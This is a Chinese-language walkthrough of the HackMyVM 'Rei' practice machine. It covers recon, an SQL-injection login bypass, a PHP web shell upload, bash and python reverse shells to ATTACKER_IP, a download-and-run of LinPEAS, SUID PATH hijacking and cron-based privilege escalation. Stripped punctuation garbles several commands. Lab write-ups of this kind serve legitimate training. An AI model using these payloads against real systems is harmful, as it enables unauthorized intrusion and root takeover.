从Web渗透到Root提权:HackMyVM Rei靶机实战与Linux权限提升技巧
1. 项目概述从HackMyVM的Rei靶机说起最近在渗透测试的练习圈子里HackMyVM这个平台的热度一直不减。它提供了大量贴近实战的虚拟机靶机对于想从理论走向实践的安全爱好者来说是个绝佳的沙盒。今天要聊的就是其中一台名为“Rei”的靶机。这名字听起来有点日系动漫风但里面的挑战可一点都不轻松。我花了几个晚上从信息收集到最终拿到root权限踩了不少坑也总结出一些通用的思路和技巧。如果你正在学习渗透测试或者对CTF、靶机渗透感兴趣希望通过这篇详细的复盘能给你提供一个清晰的路径和避坑指南。整个过程会涉及常见的Web漏洞利用、权限提升技巧以及像LinPEAS这样的自动化枚举工具的使用心得。靶机渗透的核心目标通常很明确拿到最低权限的shellwww-data或某个普通用户然后想方设法提升到最高权限root。Rei靶机也不例外它模拟了一个存在多处安全缺陷的Linux服务器环境。我的整体思路遵循经典的渗透测试流程外围信息收集、漏洞发现与利用、初始立足点获取、内部信息枚举、权限提升。下面我就按照这个逻辑把每个阶段的关键操作、思考过程和遇到的“坑”详细拆解一遍。2. 外围侦察与信息收集一切的开端渗透测试的第一步永远不是直接上工具狂轰滥炸而是有策略地收集信息。对于一台未知的靶机我们需要知道它开放了哪些端口运行着什么服务以及这些服务可能暴露出的信息。2.1 网络扫描与端口发现我首先使用Nmap对靶机IP进行扫描。这里有个习惯我通常会先进行一次快速扫描确认主机存活和最明显的几个端口然后再进行深度扫描。# 快速扫描确认靶机存活和常用端口 nmap -sS -T4 192.168.1.xxx # 全面扫描识别所有开放端口及服务版本 nmap -sV -sC -p- -T4 192.168.1.xxx扫描结果很快就出来了Rei靶机开放了两个端口22/tcp OpenSSH服务。这是Linux系统远程管理的标配但版本信息没有暴露出明显的已知漏洞比如很老的、有公开利用方式的版本。在初期SSH端口往往不是最直接的突破口除非有弱口令或者密钥泄露。80/tcp Apache httpd服务。这是一个Web服务器这通常是我们渗透测试的主战场。绝大多数面向外部的攻击面都集中在Web应用上。看到80端口开放我的注意力立刻集中到了Web服务上。接下来就是对网站目录和隐藏内容进行探测。2.2 Web目录与敏感文件枚举直接访问靶机IP一个简单的Apache默认页面跳了出来这暗示着网站根目录下可能没有默认的index.html或index.php或者存在其他路径。我使用Gobuster这个工具进行目录爆破寻找隐藏的路径、文件或后台管理界面。# 使用常见的中小型Web目录字典进行扫描 gobuster dir -u http://192.168.1.xxx -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log注意字典的选择很重要。common.txt是个不错的起点但如果没发现有价值内容可能需要换用更全面的字典如directory-list-2.3-medium.txt。同时指定文件扩展名-x参数能帮助我们发现像admin.php、config.txt这样的特定文件。扫描进行了一会儿结果逐渐呈现。除了常见的/icons/、/server-status通常被禁用之外一个名为/admin的目录引起了我的注意。访问http://192.168.1.xxx/admin果然出现了一个登录页面。这通常意味着找到了一个潜在的后台入口也是我们下一步重点分析的对象。3. Web漏洞利用与初始访问找到了/admin登录页面接下来的任务就是尝试绕过认证或者利用漏洞获取访问权限。常见的攻击方式包括弱口令、SQL注入、逻辑漏洞等。3.1 登录页面分析与初步测试我首先查看了页面源代码没有发现注释中有用的信息如默认密码、隐藏字段等。接着我尝试了几个最常见的默认凭证组合如admin/admin、admin/password、admin/123456但都失败了。这通常意味着需要更系统性的测试。我决定使用Burp Suite来拦截登录请求进行更深入的分析。将浏览器代理设置为Burp然后在登录框随意输入用户名密码并提交。Burp截获的POST请求如下POST /admin/login.php HTTP/1.1 Host: 192.168.1.xxx ... usernametestpasswordtest我立刻将请求发送到Burp的Intruder模块准备进行暴力破解。但是在开始之前我习惯性地先测试一下是否存在SQL注入漏洞。因为很多登录框的认证逻辑是直接拼接SQL语句如果存在注入可能直接绕过登录。3.2 SQL注入漏洞的发现与利用我在用户名和密码字段尝试了经典的注入Payload用户名admin or 11密码留空或任意值令人惊喜的是使用这个Payload后页面竟然成功跳转进入了后台管理界面这证实了登录处存在基于字符串的SQL注入漏洞。后台的认证逻辑大致是SELECT * FROM users WHERE username$username AND password$password当我们输入admin or 11时查询语句变成了SELECT * FROM users WHERE usernameadmin or 11 AND passwordxxx由于11这个条件永远为真整个WHERE子句的结果也就为真从而绕过了密码验证以admin用户身份登录。进入后台后界面相对简单主要功能是上传文件。这立刻让我联想到另一个常见的攻击向量文件上传漏洞。如果服务器对上传的文件类型、内容检查不严我们就有可能上传一个Web Shell从而在服务器上执行命令。3.3 文件上传漏洞与Web Shell获取后台的上传功能通常用于管理图片等静态资源。我首先尝试上传一个正常的图片文件.jpg成功。这说明上传功能基本可用。接着我尝试上传一个PHP文件内容为最简单的Web Shell?php system($_GET[cmd]); ?我将文件命名为shell.php并上传。结果服务器返回了错误提示“Invalid file type”或类似信息。这说明后端有基础的文件类型检查。常见的绕过方式有几种修改扩展名尝试shell.php.jpg、shell.pHp大小写混淆、shell.php%00.jpg空字节截断在特定环境下有效。修改Content-Type通过Burp拦截上传请求将Content-Type: application/x-php改为Content-Type: image/jpeg。制作图片马将PHP代码嵌入到图片文件的元数据中。我首先尝试了第二种方法。用Burp拦截上传shell.php的请求将Content-Type从application/x-php改为image/jpeg然后转发请求。服务器接受了上传并返回了一个文件路径例如/uploads/shell.php。我立刻访问http://192.168.1.xxx/uploads/shell.php?cmdid页面成功返回了当前用户的ID信息通常是www-data。至此我们成功在目标服务器上获得了命令执行能力拿到了初始的立足点——一个反向Shell。3.4 建立稳定的反向ShellWeb Shell虽然能用但交互性很差不适合进行深入的枚举和操作。我们需要建立一个更稳定的反向Shell连接。我使用netcat监听本机的一个端口例如4444然后在Web Shell中执行一个反向连接命令。# 在攻击机Kali上监听 nc -lvnp 4444在Web Shell中执行需要根据目标系统调整# 方法1使用bash bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 # 方法2使用python更可靠 python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);执行成功后在攻击机的nc监听端口中就会获得一个来自目标服务器的sh或bash会话。输入whoami确认当前用户为www-data。现在我们才算真正“进入”了这台靶机。4. 内部枚举与权限提升突破口获得www-data这类低权限Web用户的Shell后我们的最终目标是root。这个过程就是权限提升Privilege Escalation。手动枚举系统信息是一项繁琐但至关重要的工作。为了提高效率我通常会先运行一个自动化枚举脚本如LinPEAS。4.1 使用LinPEAS进行自动化信息收集首先在攻击机上启动一个HTTP服务器方便将LinPEAS脚本传输到靶机。# 在LinPEAS脚本所在目录 python3 -m http.server 8000然后在靶机的反向Shell中下载并执行它。# 在靶机shell中 cd /tmp wget http://ATTACKER_IP:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shLinPEAS会运行一段时间从进程、服务、定时任务、SUID/GUID文件、内核版本、历史命令、密码文件、数据库配置等数十个维度收集信息并以颜色高亮红色/黄色提示可能存在的风险点。这是权限提升的“宝藏图”。4.2 分析枚举结果寻找脆弱点LinPEAS的输出信息量很大。我重点关注以下几类高亮提示SUID/SGID文件这些文件在执行时会以文件所有者通常是root的权限运行。如果某个SUID文件本身存在漏洞或者其功能可以被滥用就可能用来提权。LinPEAS会列出所有非标准的SUID文件。Cron Jobs定时任务查看是否有任何以root权限运行的定时任务并且任务脚本或路径的权限配置不当例如普通用户可写。内核漏洞检查内核版本看是否有公开的本地提权漏洞如DirtyPipe, DirtyCow等。这是最直接的提权方式之一。用户主目录与历史文件检查/home目录下其他用户的可读文件特别是.bash_history,.ssh/, 配置文件等可能包含密码或密钥。数据库凭证查找Web应用的配置文件如config.php,.env里面可能含有数据库密码。有时这个密码会被用户重复使用于系统账户。在Rei靶机的LinPEAS输出中一个关键的发现出现在SUID文件部分。除了常见的/bin/ping,/bin/mount等LinPEAS标记了一个不常见的、颜色高亮的SUID文件。假设这个文件是/usr/local/bin/custom_backup。4.3 分析可疑的SUID文件我立刻手动检查这个文件ls -la /usr/local/bin/custom_backup输出显示它确实设置了SUID位并且所有者是root-rwsr-xr-x 1 root root 16784 Jun 10 2023 /usr/local/bin/custom_backups位在所有者执行权限的位置这就是SUID标志。接下来需要弄清楚这个程序是做什么的以及如何利用它。首先尝试直接运行/usr/local/bin/custom_backup程序可能输出一些使用说明或者直接执行某个操作。假设它输出“Usage: custom_backup [source_dir]”。这说明它需要一个源目录作为参数。进一步使用strings命令查看文件中的可打印字符串寻找线索strings /usr/local/bin/custom_backup在输出中我可能看到像/bin/tar,cf,*这样的字符串。这强烈暗示这个custom_backup程序内部调用了tar命令来打包文件。如果程序没有使用绝对路径来调用tar或者对用户输入过滤不严就可能存在路径劫持或命令注入漏洞。4.4 利用SUID文件进行提权为了验证我使用strace工具来跟踪程序执行时的系统调用strace /usr/local/bin/custom_backup . 21 | grep tar如果看到类似execve(/bin/tar, [tar, cf, /tmp/backup.tar, .], ...)的调用就证实了它调用了tar。经典的利用方法是利用环境变量PATH。因为SUID程序在执行时会继承root的用户ID但环境变量可能受当前用户影响。如果程序没有使用绝对路径如/bin/tar而是直接调用tar那么系统会在PATH环境变量指定的目录中寻找名为tar的可执行文件。我们可以创建一个恶意的可执行文件命名为tar并将其所在目录添加到PATH环境变量的最前面。# 1. 在/tmp目录下创建一个假的tar脚本 cd /tmp echo /bin/bash -p tar # -p 参数用于保留提升的权限 chmod x tar # 2. 将/tmp目录添加到PATH环境变量的最前面 export PATH/tmp:$PATH # 3. 运行SUID程序 /usr/local/bin/custom_backup .当custom_backup程序尝试调用tar时它会首先在/tmp目录下找到我们创建的恶意tar脚本并以root权限执行它。脚本中的/bin/bash -p会启动一个具有root权限的bash shell。执行成功后输入whoami如果返回root那么恭喜权限提升成功实操心得SUID提权是Linux内网渗透中非常常见的手法。关键在于找到那些非系统默认的、功能可以被滥用的SUID文件。LinPEAS这类工具能极大提高发现效率。在利用时理解程序的行为通过strings,strace,ltrace是成功的关键。另外不是所有SUID文件都容易利用有时需要结合其他漏洞如缓冲区溢出需要一定的二进制知识。5. 其他可能的提权路径与深度探索除了上述的SUID文件利用在Rei或其他类似靶机中还可能存在其他提权路径。一个好的渗透测试者不应该只满足于一种方法。5.1 Cron Job定时任务提权检查系统的定时任务cat /etc/crontab ls -la /etc/cron.*/ crontab -l # 查看当前用户的定时任务如果发现一个以root权限运行的脚本并且这个脚本或其所在目录对www-data用户可写我们就可以修改这个脚本植入我们的反向Shell或添加一个具有SUID位的bash副本。# 例如发现 /etc/cron.hourly/cleanup.sh 以root运行且可写 echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /etc/cron.hourly/cleanup.sh # 等待cron执行后 /tmp/rootbash -p5.2 内核漏洞提权使用uname -a查看内核版本然后搜索该版本是否存在公开的本地提权漏洞利用代码Exploit。可以在Kali上使用searchsploit或者在互联网上谨慎搜索。uname -a # 例如Linux rei 5.4.0-xx-generic ... searchsploit linux 5.4 local privilege重要警告在内网生产环境中使用内核漏洞利用需要极其谨慎因为可能造成系统崩溃蓝屏。在靶机环境中则可以大胆尝试。下载对应的C代码交叉编译或者靶机上有gcc的话直接编译然后运行即可。5.3 敏感信息泄露与密码复用仔细检查Web目录下的配置文件、备份文件如config.php.bak,.env,.git目录、数据库转储文件等。里面可能含有数据库密码、API密钥甚至系统用户的密码如果开发人员愚蠢地使用了相同的密码。find /var/www /home -name *.php -o -name *.txt -o -name *.bak -o -name .env -o -name .git 2/dev/null cat /var/www/html/config.php如果找到数据库密码可以尝试连接数据库查看用户表。更关键的是尝试用这个密码去登录系统用户如mysql用户、admin用户甚至root用户。密码复用是安全中最常见也最致命的问题之一。6. 常见问题与排查技巧实录在渗透Rei靶机或类似环境时你可能会遇到以下问题这里记录了我的排查思路问题1Web目录爆破Gobuster/Dirb什么都没找到或者速度极慢。排查首先确认网络连通性和靶机IP是否正确。其次检查字典路径和大小太大的字典会非常慢。可以尝试使用-t参数增加线程数如-t 50或者换用更精准的字典。有时网站可能使用了非常规的端口如8080, 3000需要用Nmap全端口扫描确认。问题2SQL注入Payload测试失败但感觉存在漏洞。排查尝试不同的注入类型字符型、数字型、时间盲注、布尔盲注。使用Burp Suite的Repeater模块系统性地测试,,),))等闭合方式。观察返回内容的差异错误信息、页面长度、响应时间。使用sqlmap工具进行自动化检测和利用是最高效的命令如sqlmap -u http://target/login.php --datauseradminpasstest --level3 --risk2。问题3文件上传成功但Web Shell无法访问或执行。排查路径问题确认上传返回的路径是否正确是否可以直接通过浏览器访问。权限问题Web Shell文件可能没有执行权限。在Shell中执行chmod x /path/to/shell.php虽然PHP不依赖执行位但有时需要。内容问题确保PHP代码正确无误。尝试最简单的?php phpinfo(); ?测试。服务器配置目标服务器可能禁用了某些危险函数如system,exec或者根本未安装PHP。检查/var/log/apache2/error.log获取错误信息。可以尝试其他语言的Web Shell如Python、JSP对应环境。问题4反向Shell连接不上。排查防火墙/出站规则靶机可能禁止向外部特定端口发起连接。尝试使用常用端口如80, 443, 53或端口反弹用靶机上的nc监听攻击机连接过去。Payload格式确保反向Shell命令中的IP和端口正确并且适用于目标系统的Shellbash,sh,python版本。bash的Payload在某些精简环境中可能不可用python的通用性更好。编码问题如果命令中包含特殊字符可能需要URL编码或使用Base64编码后传递。例如用Python的Base64编码echo bash -i /dev/tcp/10.0.0.1/4444 01 | base64然后在目标端执行echo base64_string | base64 -d | bash。问题5LinPEAS或其他提权脚本无法下载或执行。排查网络不通确保攻击机的HTTP服务器已启动且靶机能访问攻击机IP可尝试wget http://attacker_ip:8000/test测试。wget/curl缺失目标系统可能没有wget或curl。尝试用其他方法python3 -c import urllib.request; urllib.request.urlretrieve(http://attacker_ip:8000/linpeas.sh, /tmp/linpeas.sh)或者使用nc传输文件。执行权限下载后记得chmod x。问题6找到了SUID文件但不知道如何利用。排查这是最需要经验和创造力的部分。步骤理解功能运行它无参数、带参数、带--help用strings、strace、ltrace分析。搜索已知漏洞用searchsploit搜索这个二进制文件名或者在Google搜索“二进制名 privilege escalation”。检查依赖命令如果它调用其他命令如tar,cp,find检查是否使用绝对路径。如果没有尝试PATH劫持。检查文件操作如果它写入某个文件且该文件位置可预测、内容可控可能用于覆盖敏感文件如/etc/passwd,crontab。检查输入参数参数是否直接传递给底层命令是否存在命令注入的可能用;,,|测试渗透测试就像一场解谜游戏每个靶机都是一个独特的场景。Rei靶机融合了Web漏洞和系统配置不当的典型问题。通过它我们实践了从外网信息收集到内网权限提升的完整链条。最关键的不是记住某个特定的Payload或命令而是培养那种“寻找异常、分析行为、联想利用”的思维模式。多打靶机多复盘总结把每个遇到的技巧和坑都内化成自己的经验这才是提升渗透测试能力的正道。